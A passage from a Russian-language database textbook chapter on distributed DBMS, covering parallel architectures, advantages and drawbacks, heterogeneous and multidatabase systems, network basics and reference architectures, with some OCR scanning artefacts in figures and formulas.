Рис. 19.1. Топология системы управления
Пример 19.1. Распределенная обработка данных 6 компании DreamHome
Используя технологию распределенных баз данных, компания DreamHome вместо единственного центрального мейнфрейма может разместить свою базу данных на нескольких независимых компьютерных системах. Подобные компьютерные системы могут быть установлены в каждом из существующих отделений компании — например, в Лондоне, Абердине и Глазго. Сетевые соединения, связывающие компьютерные системы, позволят отделениям компании взаимодействовать между собой, а разворачивание в системе СУРБД обеспечит доступ к данным, размещенным в других отделениях компании. В результате клиент, проживающий в городе Глазго, сможет обратиться в ближайшее отделение компании и ознакомиться с объектами недвижимости, предоставляемыми в аренду в Лондоне, что избавит его от необходимости для получения этих сведений связываться с Лондоном по телефону или посылать почтовое сообщение.
Из определения СУРБД следует, что для конечного пользователя распределенность системы должна быть совершенно прозрачна (невидима). Другими словами, от пользователей должен быть полностью скрыт тот факт, что распределенная база данных состоит из нескольких фрагментов, которые могут размещаться на различных компьютерах и для которых, возможно, организована служба репликации данных. Назначение обеспечения прозрачности состоит в том, чтобы распределенная система внешне вела себя точно так, как и централизованная. В некоторых случаях это требование называют основным принципом построения распределенных СУБД (Date, 1987). Данный принцип требует предоставления конечному пользователю существенного диапазона функциональных возможностей, но, к сожалению, одновременно ставит перед программным обеспечением СУРБД множество дополнительных задач, с которыми мы подробнее ознакомимся в разделе 19.5.
Распределенная обработка
Очень важно понимать различия, существующие между распределенными СУБД и распределенной обработкой данных.,
Распределенная Обработка с использованием централизованной базы данных, обработкадоступ к которой может осуществляться с различных компью
теров сети.
Ключевым моментом в определении распределенной базы данных является утверждение, что система работает с данными, физически распределенными в сети. Если данные хранятся централизованно, то даже в том случае, когда доступ к ним обеспечивается для любого пользователя в сети, данная система просто поддерживает распределенную обработку, но не может рассматриваться как распределенная СУБД. Схематически подобная топология представлена на рис. 19.2. Сравните этот вариант, содержащий централизованную базу данных на сайте 2, с вариантом, представленным на рис. 19.1, в котором присутствует несколько сайтов, каждый из которых имеет собственную базу данных.
Рис. 19.2. Топология системы с рас* пределенной обработкой
Параллельные СУБД
Кроме того, следует четко понимать различия, существующие между распределенными и параллельными СУБД.
Параллельная
Система управления базой данных, функционирующая с исполь
СУБД
зованием нескольких процессоров и устройств жестких дисков, что позволяет ей (если это возможно) распараллеливать выполнение некоторых операций с целью повышения общей производительности обработки. '
Появление параллельных СУБД было вызвано тем фактом, что системы с одним процессором оказались неспособны удовлетворять растущие требования к масштабируемости, надежности и производительности обработки данных. Эффективной и экономически обоснованной альтернативой однопроцессорным СУБД стали параллельные СУБД, функционирующие одновременно на нескольких процессорах. Применение параллельных СУБД позволяет объединить несколько маломощных машин для получения того же самого уровня производительности, что и в случае одной, но более мощной машины, с дополнительным выигрышем в масштабируемости и надежности системы, по сравнению с однопроцессорными СУБД.
Для предоставления нескольким процессорам совместного доступа к одной и той же базе данных параллельная СУБД должна обеспечивать управление совместным доступом к ресурсам. То, какие именно ресурсы разделяются и как это разделение реализовано на практике, непосредственно влияет на показатели производительности и масштабируемости создаваемой системы, что, в свою очередь, определяет пригод-
ность конкретной СУБД к условиям заданной вычислительной среды и требованиям приложений. Три основных типа архитектуры параллельных СУБД представлены на рис. 19.3. К ним относятся:
системы с разделением памяти;
системы с разделением дисков;
системы без разделения.
(б)(б)(а)
(б)
(б)
(в)
Рис. 19.3. Архитектура систем с параллельной обработкой: а) с разделением памяти; б) с разделением дисков; в) без разделения
Хотя схему без разделения в некоторых случаях относят к распределенным СУБД, в параллельных системах размещение данных диктуется исключительно соображениями производительности. Более того, узлы (сайты) распределенной СУБД обычно разделены географически, независимо администрируются и соединены между собой относительно медленными сетевыми соединениями, тогда как узлы параллельной СУБД чаще всего располагаются на одном и том же компьютере или в пределах одного и того же сайта. .
Системы с разделением памяти состоят из тесно связанных между собой компонентов, в число которых входит несколько процессоров, разделяющих общую системную память. Иначе называемая симметричной многопроцессорной обработкой (СМИ), .эта архитектура в настоящее время приобрела большую популярность и применяется для самых разных вычислительных платформ, начиная от персональных рабочих станций, содержащих несколько параллельно работающих микропроцессоров, больших RISC- систем и вплоть до крупнейших мейнфреймов. Данная архитектура обеспечивает быст-
рый доступ к данным для ограниченного числа процессоров, количество которых обычно не превосходит 64. В противном случае сетевые взаимодействия превращаются в узкое место, ограничивающее производительность всей системы.
Системы без разделения (эту архитектуру иначе называют массовой параллельной обработкой — ММП) используют схему, в которой каждый процессор, являющийся частью системы, имеет свою собственную оперативную и дисковую память. База данных распределена между всеми дисковыми устройствами, подключенным к отдельным, связанным с этой базой данных вычислительным подсистемам, в результате чего все данные прозрачно доступны пользователям каждой из этих подсистем. Данная архитектура обеспечивает более высокий уровень масштабируемости, чем системы с СМП, и позволяет легко организовать поддержку работы большого количества процессоров. Однако оптимальной производительности удается достичь только в том случае, если требуемые данные хранятся локально.
Системы с разделением дисков строятся из менее тесно связанных между собой компонентов. Они являются оптимальным вариантом для приложений, которые унаследовали высокую централизацию обработки и должны обеспечивать самые высокие показатели доступности и производительности. Каждый из процессоров имеет непосредственный доступ ко всем совместно используемым дисковым устройствам, но обладает собственной оперативной памятью. Как и в случае архитектуры без разделения, архитектура с разделением дисков исключает узкие места, связанные с совместно используемой памятью. Однако, в отличие от архитектуры без разделения, данная архитектура исключает упомянутые узкие места без внесения дополнительной нагрузки, связанной с физическим распределением данных по отдельным устройствам. Разделяемые дисковые системы в некоторых случаях называют кластерами.
Параллельные технологии обычно используются в случае исключительно больших баз данных, размеры которых могут достигать нескольких терабайт (1012 байт), или в системах, которые должны поддерживать выполнение тысяч транзакций в секунду. Подобные системы нуждаются в доступе к большому объему данных и должны обеспечивать приемлемое время реакции на запрос. Параллельные СУБД могут использовать различные вспомогательные технологии, позволяющие повысить производительность обработки сложных запросов за счет применения методов распараллеливания операций сканирования, соединения и сортировки, что позволяет нескольким процессорным узлам автоматически распределять между собой текущую нагрузку. Более подробно речь об этих технологиях пойдет в главе 25, “Хранилища данных”. В данный момент достаточно отметить, что все крупные разработчики СУБД в настоящее время поставляют параллельные версии созданных ими продуктов.
Преимущества и недостатки, свойственные распределенным СУБД
Системы с распределенными базами данных имеют дополнительные преимущества перед традиционными централизованными системами баз данных. К сожалению, эта технология не лишена и некоторых недостатков. В данном разделе мы обсудим как преимущества, так и недостатки, свойственные системам с распределенными базами данных.
Преимущества
Отражение структуры организации
Крупные организации, как правило имеют множество отделений, которые могут находиться в разных концах страны и даже за ее пределами. Например, компания DreamHome имеет многочисленные отделения в различных городах Великобритании. Вполне логично будет предположить, что используемая этой компанией база данных должна быть распределена между ее отдельными офисами. В каждом отделении компании DreamHome может поддерживаться база данных, содержащая сведения о
его персонале, сдаваемых в аренду объектах недвижимости, которыми занимаются сотрудники данного отделения, а также о клиентах, которые владеют или желают получить в аренду эти объекты. В подобной базе данных персонал отделения сможет выполнять необходимые ему локальные запросы. Руководству компании может потребоваться выполнять глобальные запросы, предусматривающие получение доступа к данным, сохраняемым во всех существующих отделениях компании.
Разделяемость и локальная автономность
Географическая распределенность организации может быть отражена в распределении ее данных, причем пользователи одного сайта смогут получать доступ к данным, сохраняемым на других сайтах. Данные могут быть помещены на тот сайт, на котором зарегистрированы пользователи, которые их чаще всего используют. В результате заинтересованные пользователи получают локальный контроль над требуемыми им данными и могут устанавливать или регулировать локальные ограничения на их использование. Администратор глобальной базы данных (АБД) отвечает за систему в целом. Как правило, часть этой ответственности делегируется на локальный уровень, благодаря чему АБД локального уровня получает возможность управлять локальной СУБД (см. раздел 4.7).
Повышение доступности данных
В централизованных СУБД отказ центрального компьютера вызывает прекращение функционирования всей СУБД. Однако отказ одного из сайтов СУРБД или линии связи между сайтами сделает недоступным лишь некоторые сайты, тогда как вся система в целом сохранит свою работоспособность. Распределенные СУБД проектируются таким образом, чтобы обеспечивать продолжение функционирования системы несмотря на подобные отказы. Если выходит из строя один из узлов, система сможет перенаправить запросы к отказавшему узлу в адрес другого сайта.
Повышение надежности
Если организована репликация данных, в результате чего данные и их копии будут размещены на более чем одном сайте, отказ отдельного узла или соединительной связи между узлами не приведет к недоступности данных в системе.
Повышение производительности
Если данные размещены на самом нагруженном сайте, который унаследовал от систем-предшественников высокий уровень параллельности обработки, то развертывание распределенной СУБД может способствовать повышению скорости доступа к базе данных (по сравнению с доступом к удаленной централизованной СУБД). Более того, поскольку каждый сайт работает только с частью базы данных, уровень использования центрального процессора и служб ввода/вывода может оказаться ниже, чем в случае централизованной СУБД.
Экономические выгоды
В шестидесятые годы мощность вычислительной установки возрастала пропорционально квадрату стоимости ее оборудования, поэтому система, стоимость которой была втрое выше стоимости данной, превосходила ее по мощности в девять раз. Эта зависимость получила название закона Гроша (Grosch). Однако в настоящее время считается общепринятым положение, согласно которому намного дешевле собрать из небольших компьютеров систему, мощность которой будет эквивалентна мощности одного большого компьютера. Оказывается, что намного выгоднее устанавливать в подразделениях организации собственные маломощные компьютеры, кроме того, гораздо дешевле добавить в сеть новые рабочие станции, чем модернизировать систему с мейнфреймом.
Второй потенциальный источник экономии имеет место в том случае, когда базы данных географически удалены друг от друга и приложения требуют осуществления доступа к распределенным данным. В этом случае из-за относительно высокой стоимо-
сти передаваемых по сети данных (по сравнению со стоимостью их локальной обработки) может оказаться экономически выгодным разделить приложение на соответствующие части и выполнять необходимую обработку на каждом из сайтов локально.
Модульность системы
В распределенной среде расширение существующей системы осуществляется намного проще. Добавление в сеть нового сайта не оказывает влияния на функционирование уже существующих. Подобная гибкость позволяет организации легко расширяться. Перегрузки из-за увеличения размера базы данных обычно устраняются путем добавления в сеть новых вычислительных мощностей и устройств дисковой памяти. В централизованных СУБД рост размера базы данных может потребовать замены и оборудования (более мощной системой), и используемого программного обеспечения (более мощной или более гибкой СУБД).
Недостатки
Повышение сложности
Распределенные СУБД, способные скрыть от конечных пользователей распределенную природу используемых ими данных и обеспечить необходимый уровень производительности, надежности и доступности, безусловно являются более сложными программными комплексами, чем централизованные СУБД. Тот факт, что данные могут подвергаться репликации, также добавляет дополнительный уровень сложности в программное обеспечение СУРБД. Если репликация данных не будет поддерживаться на требуемом уровне, система будет иметь более низкий уровень доступности данных, надежности и производительности, чем централизованные системы, а все изложенные выше преимущества превратятся в недостатки.
Увеличение стоимости
Увеличение сложности означает и увеличение затрат на приобретение и сопровождение СУРБД (по сравнению с обычными централизованными СУБД). Разворачивание распределенной СУБД потребует дополнительного оборудования, необходимого для установки сетевых соединений между сайтами. Следует ожидать и роста расходов на оплату каналов связи, вызванных возрастанием сетевого трафика. Кроме того, возрастут затраты на оплату труда персонала, который потребуется для обслуживания локальных СУБД и сетевых соединений.
Проблемы защиты
В централизованных системах доступ к данным легко контролируется. Однако в распределенных системах потребуется организовать контроль доступа не только к данным, реплицируемым на несколько различных сайтов, но и защиту сетевых соединений самих по себе. Раньше сети рассматривались как совершенно незащищенные каналы связи. Хотя это отчасти справедливо и для настоящего времени, тем не менее в отношении защиты сетевых соединений достигнут весьма существенный прогресс.
Усложнение контроля за целостностью данных
Целостность базы данных означает корректность и согласованность сохраняемых в ней данных. Требования обеспечения целостности обычно формулируются в виде некоторых ограничений, выполнение которых будет гарантировать защиту информации в базе данных от разрушения. Реализация ограничений поддержки целостности обычно требует доступа к большому количеству данных, используемых при выполнении проверок, но не требует выполнения операций обновления. В распределенных СУБД повышенная стоимость передачи и обработки данных может препятствовать организации эффективной защиты от нарушений целостности данных. К обсуждению этого вопроса мы вернемся в разделе 20.4.5.
Отсутствие стандартов
Хотя вполне очевидно, что функционирование распределенных СУБД зависит от эффективности используемых каналов связи, только в последнее время стали вырисовываться контуры стандарта на каналы связи и протоколы доступа к данным. Отсутствие стандартов существенно ограничивает потенциальные возможности распределенных СУБД. Кроме того, не существует инструментальных средств и методологий, способных помочь пользователям в преобразовании централизованных систем в распределенные.
Недостаток опыта
В настоящее время в эксплуатации находится уже несколько систем-црототипов и распределенных СУБД специального назначения, что позволило уточнить требования к используемым протоколам и установить круг основных проблем. Однако на текущий момент распределенные системы общего назначения еще не получили широкого распространения. Соответственно, еще не накоплен необходимый опыт промышленной эксплуатации распределенных систем, сравнимый с опытом эксплуатации централизованных систем. Такое положение дел является серьезным сдерживающим фактором для многих потенциальных сторонников данной технологии.
Усложнение процедуры разработки базы данных
Разработка распределенных баз данных, помимо обычных трудностей, связанных с процессом проектирования централизованных баз данных, требует принятия решения о фрагментации данных, распределении фрагментов по отдельным сайтам и организации процедур репликации данных. Все эти проблемы подробнее будут обсуждаться ниже, в разделе 19.4.
Все преимущества и недостатки, свойственные распределенным СУБД, перечислены в табл. 19.1.
Таблица 19.1. Преимущества и недостатки распределенных СУБД
Преимущества
Недостатки,
Отображение структуры организации Разделяемость и локальная автономность Повышение доступности данных Повышение надежности Повышение производительности Экономические выгоды Модульность системы
Повышение сложности
Увеличение стоимости
Проблемы защиты■
Усложнение контроля за целостностью данных
Отсутствие стандартов
Недостаток опыта
Усложнение процедуры разработки базы данных
Гомогенные и гетерогенные распределенные СУБД
Распределенные СУБД можно классифицировать как гомогенные и гетерогенные. В гомогенных системах все сайты используют один и тот же тип СУБД. В гетерогенных системах на сайтах могут функционировать различные типы СУБД, использующие разные модели данных, т.е. гетерогенная система может включать сайты с реляционными, сетевыми, иерархическими или объектно-ориентированными СУБД.
Гомогенные системы значительно проще проектировать и сопровождать. Кроме того, подобный подход позволяет поэтапно наращивать размеры системы, последовательно добавляя новые сайты к уже существующей распределенной системе. Дополнительно появляется возможность повышать производительность системы за счет организации на различных сайтах параллельной обработки информации.
Гетерогенные системы обычно возникают в тех случаях, когда независимые сайты, уже эксплуатирующие свои собственные системы с базами данных, интегрируются во вновь создаваемую распределенную систему. В гетерогенных системах для организации
взаимодействия между различными типами СУБД потребуется организовать трансляцию передаваемых сообщений. Для обеспечения прозрачности в отношении типа используемой СУБД пользователи каждого из сайтов должны иметь возможность вводить интересующие их запросы на языке той СУБД, которая используется на данном сайте. Система должна взять на себя локализацию требуемых данных и выполнение трансляции передаваемых сообщений. В общем случае данные могут быть затребованы с другого сайта, который характеризуется такими особенностями, как:
иной тип используемого оборудования;
иной тип используемой СУБД;
иной тип применяемых оборудования и СУБД.
Если используется иной тип оборудования, однако на сайте установлен тот же самый тип СУБД, методы выполнения трансляции вполне очевидны и включают замену кодов и изменение длины слова. Если типы используемых на сайтах СУБД различны, процедура трансляции усложняется тем, что необходимо отображать структуры данных одной модели в соответствующие структуры данных другой модели. Например, отношения в реляционной модели данных должны быть преобразованы в записи и наборы, типичные для сетевой модели данных. Кроме того, потребуется транслировать текст запросов с одного используемого языка на другой (например, запросы с SQL-оператором SELECT потребуется преобразовать в запросы с операторами FIND и GET языка манипулирования данными сетевой СУБД). Если отличаются и тип используемого оборудования, и тип программного обеспечения, потребуется выполнять оба вида трансляции. Все изложенное выше чрезвычайно усложняет обработку данных в гетерогенных СУБД.
Дополнительные сложности возникают при попытках выработки единой концептуальной схемы, создаваемой путем интеграции независимых локальных концептуальных схем. Как уже указывалось при обсуждении этапа 3.1 предложенной в главе 8 методологии логического проектирования баз данных, при наличии семантической . неоднородности интеграция локальных моделей данных превращается в чрезвычайно трудную задачу. Например, атрибуты, имеющие в различных схемах одно и то же имя, на деле могут представлять совершенно отличные понятия. Аналогично, атрибуты с разными именами фактически могут представлять одну и ту же характеристику. Подробное обсуждение методов выявления и устранения семантической неоднородности выходит за рамки данной книги. Заинтересованному читателю мы рекомендуем обратиться к работе Гарсиа-Солако и др. (Garcia-Solaco et al., 1996).
Типичное решение, применяемое в некоторых реляционных системах, состоит в том, что отдельные части гетерогенных распределенных систем должны использовать шлюзы, предназначенные для преобразования языка и модели данных каждого из используемых типов СУБД в язык и модель данных реляционной системы. Однако подходу с использованием шлюзов свойственны некоторые серьезные ограничения. Во- первых, шлюзы не позволяют организовать систему управления транзакциями даже для отдельных пар систем. Другими словами, шлюз между двумя системами представляет собой не более чем транслятор запросов. Например, шлюзы не позволяют системе координировать управление параллельностью и процедурами восстановления транзакций, включающих обновление данных в обеих базах. Во-вторых, использование шлюзов призвано лишь решить задачу трансляции запросов с языка одной СУБД на язык другой СУБД. Поэтому они не позволяют справиться с проблемами, вызванными неоднородностью структур и представлением данных в различных схемах.
Открытый доступ и взаимодействие баз данных
Комитет Open Group организовал рабочую группу (Specification Working Group — SWG), призванную подготовить ответ на поступающие запросы по поводу открытого доступа и взаимодействия баз данных (Gualteri, 1996). Цель работы этой группы состоит в подготовке спецификаций (или в получении подтверждений того, что требуемые спецификации существуют или разрабатываются), регламентирующих инфраструктуру среды базы данных, включающую следующие элементы.
Унифицированный и достаточно мощный интерфейс языка SQL (SQL API), позволяющий создавать клиентские приложения таким образом, чтобы они не были привязаны к конкретному типу используемой СУБД.
Унифицированный протокол доступа к базе данных, позволяющий СУБД одного типа непосредственно взаимодействовать с СУБД другого типа, без необходимости использования какого-либо шлюза.
Унифицированный сетевой протокол, позволяющий осуществлять взаимодействие СУБД различного типа.
Самой важной задачей этой группы следует считать отыскание способа, позволяющего в одной транзакции выполнять обработку данных, содержащихся в нескольких базах, управляемых СУБД различных типов, причем без необходимости использования каких-либо шлюзов.
Мультибазовые системы
Прежде чем завершить данный раздел, целесообразно кратко ознакомиться с одной из разновидностей распределенных СУБД, называемой мультибазовой системой.
Мультибазовая Распределенная система управления базами данных, в которой управ- системаление каждым из сайтов осуществляется совершенно автономно.
В последние годы заметно возрос интерес к мультибазовым СУБД, в которых предпринимается попытка интеграции таких распределенных систем баз данных, в которых весь контроль над отдельными локальными системами целиком и полностью осуществляется их операторами. Одним из следствий полной автономии сайтов является отсутствие необходимости внесения каких-либо изменений в локальные СУБД. Следовательно, мультибазовые СУБД требуют создания поверх существующих локальных систем дополнительного уровня программного обеспечения, предназначенного для предоставления необходимой функциональности.
Мультибазовые системы позволяют конечным пользователям разных сайтов получать доступ и совместно использовать данные без необходимости физической интеграции существующих баз данных. Они обеспечивают пользователям возможность управлять базами данных их собственных сайтов без какого-либо централизованного контроля, который обязательно присутствует в обычных типах СУРБД. Администратор локальной базы данных может разрешить доступ к определенной части своей базы данных посредством создания схемы экспорта, определяющей, к каким элементам локальной базы данных смогут получать доступ внешние пользователи. Существуют нефедеральные (не имеющие локальных пользователей) и федеральные мультибазовые системы. Федеральная система представляет собой некоторый гибрид распределенной и централизованной систем, поскольку она выглядят как распределенная система для удаленных пользователей и как централизованная система — для локальных. Информацию о классификации распределенных систем заинтересованный читатель сможет найти в работах Шета и Ларсона (Sheth and Larson, 1990), а также Букреса и Элмагармида (Bukhres and Elmagarmid, 1996).
Говоря простыми словами, мультибазовая СУБД является такой СУБД, которая прозрачным образом располагается поверх существующих баз данных и файловых систем, предоставляя их своим пользователям как некоторую единую базу данных. Мультибазовая СУБД поддерживает глобальную схему, на основании которой пользователи могут строить запросы и модифицировать данные. Мультибазовая СУБД работает только с глобальной схемой, тогда как локальные СУБД собственными силами обеспечивают поддержку данных всех их пользователей. Глобальная схема создается посредством интеграции схем локальных баз данных. Программное обеспечение мультибазовой СУБД предварительно транслирует глобальные запросы и превращает их в запросы и операторы модификации данных соответствующих локальных СУБД. Затем полученные после выполнения локальных запросов результаты сливаются в единый глобальный результат, предоставляемый пользователю. Кроме того, мульти-
базовая СУБД осуществляет контроль за выполнением фиксации или отката отдельных операций глобальных транзакций локальных СУБД, а также обеспечивает сохранение целостности данных в каждой из локальных баз данных. Программы муль- тибазовой СУБД управляют различными шлюзами, с помощью которых они контролируют работу локальных СУБД.
Так, мультибазовая система UniSQL/M фирмы UniSQL Inc. позволяет разрабатывать приложения с помощью единого глобального представления и единственного языка доступа к базе данных для работы со многими гетерогенными реляционными и объектно-ориентированными СУБД (Connolly et al., 1994). Подробнее речь о мультибазовых СУБД пойдет в разделе 19.3.3.
Принципы организации и работы компьютерных сетей
Компьютерная Множество автономных компьютеров, соединенных между собой сеть и способных обмениваться информацией.
Компьютерные сети представляют собой сложную и интенсивно развивающуюся область компьютерной индустрии, однако определенные знания в этой области совершенно необходимы для понимания принципов построения распределенных СУБД. За последних несколько десятилетий был пройден путь от использования полностью автономных отдельных компьютеров до современного состояния, когда сети компьютеров получили повсеместное распространение. Размеры компьютерных сетей варьируются от нескольких соединенных между собой персональных компьютеров до сетей глобального масштаба, насчитывающих тысячи машин и сотни тысяч пользователей. В нашем конкретном случае распределенные СУБД устанавливаются поверх компьютерной сети таким образом, что работа последней оказывается полностью скрыта от конечного пользователя.
Сетевые соединения можно классифицировать несколькими различными способами. Можно классифицировать сети, взяв за основу расстояние между компьютерами: если оно невелико, сеть называется локальной, в противном случае — глобальной. Локальные сети (local area network — LAN) образуются при соединении компьютеров, принадлежащих одному и тому же сайту. Глобальные сети (wide area network — WAN) используются для соединения компьютеров различных локальных сетей, находящихся на удаленном расстоянии друг от друга. Благодаря большей географической удаленности, линии соединения глобальных сетей обладают относительно невысокой пропускной способностью и меньшей надежностью по сравнению с локальными сетями. Скорость передачи данных в глобальных сетях обычно находится в пределах от 2 до 2000 Кбит/с. Скорость передачи данных в локальных сетях намного больше и составляет от 10 до 100 Мбит/с, а надежность установленных соединений существенно выше. Очевидно, что распределенные системы, построенные на основе локальных сетей, будут обеспечивать меньшее время реакции системы, чем системы, использующие глобальные сети.
Если классифицировать сети на основе метода выбора пути (или маршрутизации), то их можно разделить на широковещательные и одноадресные. В случае одноадресной сети при необходимости разослать сообщения всем узлам сети потребуется Отправить несколько отдельных сообщений. В случае широковещательной сети все узлы получают все сообщения, однако в каждом из сообщений присутствует префикс, идентифицирующий узел получатель, а все остальные узлы сети просто проигнорируют поступившее сообщение. Глобальные сети обычно строятся по одноадресному принципу, тогда как в локальных сетях, как правило, используется широковещательный принцип. Сводка типичных характеристик глобальных и локальных сетей представлена в табл. 19.2.
Таблица 19.2. Сравнение характеристик глобальных и локальных сетей
Глобальные сети
Локальные сети
Удаленность узлов до тысяч километров
Удаленность узлов до нескольких километров
Связывают автономные компьютеры
Связывают компьютеры, совместно использующие распределенные приложения-
Сеть управляется независимой организацией (используются телефонные или спутниковые каналы связи)
Сеть управляется ее пользователями (используются собственные кабельные соединения)
Скорость передачи данных до 2 Мбит/с (линии Т1) или 45 Мбит/с (линии ТЗ)
Скорость передачи данных до 100 Мбит/с
Сложные протоколы
Более простые протоколы
Используется одноадресная маршрутизация
Используется широковещательная маршрутизация
Используется нерегулярная топология
Используется топология шины или звезды
Вероятность ошибки порядка 1:105
Вероятность ошибки порядка 1:109'
Международная организация стандартов (ISO) установила набор правил (или протоколов), регламентирующих способы взаимодействия систем (ISO, 1981). Выбранный подход состоит в разделении сетевого аппаратного и программного обеспечения на несколько уровней, каждый из которых предоставляет определенные услуги расположенным выше уровням, одновременно скрывая от них все подробности реализации нижних уровней. Протокол, получивший название “модель OSI” (Open System Interconnection), предусматривает использование семи уровней, логически не зависящих от изготовителя оборудования или программ. Отдельные уровни отвечают за передачу последовательностей битов информации по сети, за установку соединений и контроль наличия ошибок, маршрутизацию и устранение заторов в сети, организацию сеансов связи между отдельными машинами и устранение различий в формате и способе представления данных в компьютерах различных платформ. Полное описание особенностей этого протокола не является необходимым для понимания материала оставшейся части этой главы и следующей главы, посвященной управлению распределенными транзакциями, поэтому тем, кто желает подробнее узнать об этом, мы рекомендуем обратиться к работам Халсалла (Halsall, 1995) и Таненбаума (Tanenbaum, 1996).
Международный консультативный комитет по телеграфу и телефонии (CCITT) разработал стандарт, получивший название Х.25 и охватывающий три нижних уровня описанной выше модели. Большинство распределенных СУБД было разработано с целью использования поверх протокола Х.25. Однако позже были выпущены новые стандарты, охватывающие более высокие уровни модели и способные предоставить СУРБД полезные дополнительные функциональные возможности. К ним можно отнести протоколы RDA (Remote Database Access — ISO, 9579) и DTP (Distribution Transaction Processing — ISO, 10026). Co стандартом X/Open DTP мы познакомимся в разделе 20.5.
Время передачи
Время, необходимое для доставки сообщения, зависит от размеров посылаемого сообщения и типа используемого сетевого соединения. Оно может быть определено по следующей формуле:
время_передачи = Со + ^оличество_бит^сообщения! скорость^передачи^
Здесь константа Со представляет затраты времени на инициацию сообщения, называемые задержкой доступа. Например, в случае задержки доступа, равной 1 с, и скорости передачи — 10 000 бит/с время, необходимое для отправки 100 000 записей размером 100 байт, составит:
время_передачи = 1 + (100 000 * 100/10 000) = 1001 сек.
Если необходимо отправлять записи по одной, то время передачи составит: время_передачи = 100 000 * [1 + (100/10 000)]
= 100 000 * [1.01] = 101 000 сек.
Очевидно, что время передачи существенно выше при передаче каждой из 100 000 записей в отдельности, а не единым пакетом, что вызвано наличием задержки доступа. Соответственно, задачей СУРБД является минимизация как времени передачи данных по сети, так и сокращение количества передач данных. Мы вернемся к обсуждению этого вопроса позже, при рассмотрении оптимизации распределенных запросов в разделе 19.5.3.
Функции и архитектура распределенных СУБД
В главе 2 мы познакомились с функциями, архитектурой и компонентами централизованных СУБД. В этом разделе мы обсудим, какое влияние распределенность данных оказывает на требуемый набор функциональных возможностей и архитектуру СУРБД.
Функции распределенных СУБД
Следует ожидать, что типичная СУРБД должна обеспечивать, по крайней мере, тот же набор функциональных возможностей, который был определен нами для централизованных СУБД в главе 2. Кроме того, СУРБД должна предоставлять следующий набор функциональных возможностей.
Расширенные службы установки соединений должны обеспечивать доступ к удаленным сайтам и позволять передавать запросы и данные между сайтами, входящими в сеть.
Расширенные средства ведения каталога, позволяющие сохранять сведения о распределении данных в сети.
Средства обработки распределенных запросов, включая механизмы оптимизации запросов и организации удаленного доступа.
Расширенные функции управления параллельностью, позволяющие поддерживать целостность реплицируемых данных.
Расширенные функции восстановления, учитывающие возможность отказов в работе отдельных сайтов и отказов линий связи.
Все эти проблемы будут подробно обсуждаться позже, в последующих разделах этой и следующей глав.
Рекомендуемая архитектура распределенных СУБД
Трехуровневая архитектура ANSI-SPARC для СУБД, обсуждавшаяся в разделе 2.1, представляет собой типовое решение для централизованных СУБД. Однако распределенные СУБД имеют множество отличий, которые весьма сложно отразить в некотором эквивалентном архитектурном решении, приемлемом для большинства случаев. Однако было бы полезно найти некоторое рекомендуемое решение, учитывающие особенности работы с распределенными данными. Один из примеров рекомендуемой архитектуры СУРБД представлен на рис. 19.4. Он включает следующие элементы:
набор глобальных внешних схем;
глобальную концептуальную схему;
схему фрагментации и схему распределения;
набор схем для каждой локальной СУБД, отвечающих требованиям трехуровневой архитектуры ANSI-SPARC.
Соединительные линии на схеме представляют преобразования, выполняемые при переходе между схемами различных типов. В зависимости от поддерживаемого уровня прозрачности некоторые из уровней рекомендуемой архитектуры могут быть опущены.
Глобальная концептуальная схема
Глобальная концептуальная схема представляет собой логическое описание всей базы данных, представляющее ее так, как будто она не является распределенной. Этот уровень СУРБД соответствует концептуальному уровню архитектуры ANSI- SPARC и содержит определения сущностей, связей, требований защиты и ограничений поддержки целостности информации. Он обеспечивает физическую независимость данных от распределенной среды. Логическую независимость данных обеспечивают глобальные внешние схемы.
Сайт 2Сайт 2База данныхБаза данныхБаза данныхБаза данныхСайтпСайтпБаза данныхБаза данных
Сайт 2
Сайт 2
База данных
База данных
База данных
База данных
Сайтп
Сайтп
База данных
База данных
Рис. 19.4. Архитектура, рекомендуемая для СУРБД
Схемы фрагментации и распределения
Схема фрагментации содержит описание того, как данные должны логически распределяться по разделам. Схема распределения является описанием того, где расположены имеющиеся данные. Схема распределения учитывает все организованные в системе процессы репликации.
Локальные схемы
Каждая локальная СУБД имеет свой собственный набор схем. Локальная концептуальная и локальная внутренняя схемы полностью соответствуют эквивалентным уровням архитектуры ANSI-SPARC. Локальная схема отображения используется для отображения фрагментов в схеме распределения во внутренние объекты локальной базы данных. Эти элементы являются зависимыми от типа используемой СУБД и служат основой для построения гетерогенных СУРБД.
Рекомендуемая архитектура мультибазовых СУБД
В разделе 19.1.3 было приведено краткое обсуждение федеральных мультибазовых систем. Подобные системы отличаются от распределенных предоставляемым уровнем локальной автономности. Это отличие также должно быть учтено в архитектуре, рекомендуемой для систем данного типа. На рис. 19.5 показана архитектура, рекомендуемая для тесно связанных федеральных мультибазовых систем, использующих глобальную концептуальную схему. В распределенных СУБД глобальная концептуальная схема является объединением всех локальных концептуальных схем. В федеральных мультибазовых СУБД глобальная концептуальная схема является подмножеством локальных концептуальных схем, включающим только те данные, которые каждая из локальных систем разрешает использовать совместно. Глобальная концептуальная схема тесно связанных систем содержит интегрированное представление либо элементов локальных концептуальных схем, либо локальных внешних схем.
Существует мнение, что федеральные мультибазовые СУБД не должны использовать глобальные концептуальные схемы (Litwin, 1988). В этом случае система будет называться слабо связанной. В подобных системах внешние схемы состоят из одной или нескольких локальных концептуальных схем. Дополнительную информацию о мультибазовых СУБД заинтересованный читатель сможет найти в публикациях Литвина (Litwin, 1988), а также Шета и Ларсона (Sheth and Larson, 1990).
Компонентная архитектура распределенных СУБД
Независимо от обсуждавшейся выше рекомендованной общей архитектуры СУРБД следует рассмотреть компонентную архитектуру СУРБД, которая должна включать четыре следующих важнейших компонента:
локальную СУБД;
компонент передачи данных;
глобальный системный каталог;
распределенную СУБД (СУРБД).
Общий вид компонентной архитектуры распределенной СУБД со схемой, показанной на рис. 19.1, представлен на рис. 19.6. Для упрощения сайт 2 на этой диаграмме опущен, поскольку его структура не отличается от структуры сайта 1.
Сайт 1
Сайтп
Рис, 19.5. Архитектура, рекомендуемая для тесно связанных федеральных мулътибазовых СУБД
Сайт 1
СайтЗ
Рис. 19.6. Компонентная архитектура распределенной СУБД
Локальная СУБД
Компонент локальной СУБД представляет собой стандартную СУБД, предназначенную для управления локальными данными на каждом из сайтов, входящих в состав распределенной базы данных. Локальная СУБД имеет свой собственный системный каталог, в котором содержится информация о данных, сохраняемых на этом сайте. В гомогенных системах на каждом из сайтов в качестве локальной СУБД используется один и тот же программный продукт. В гетерогенных системах существуют, по крайней мере, два сайта, использующих различные типы СУБД и/или различные типы вычислительных платформ.
Компонент передачи данных
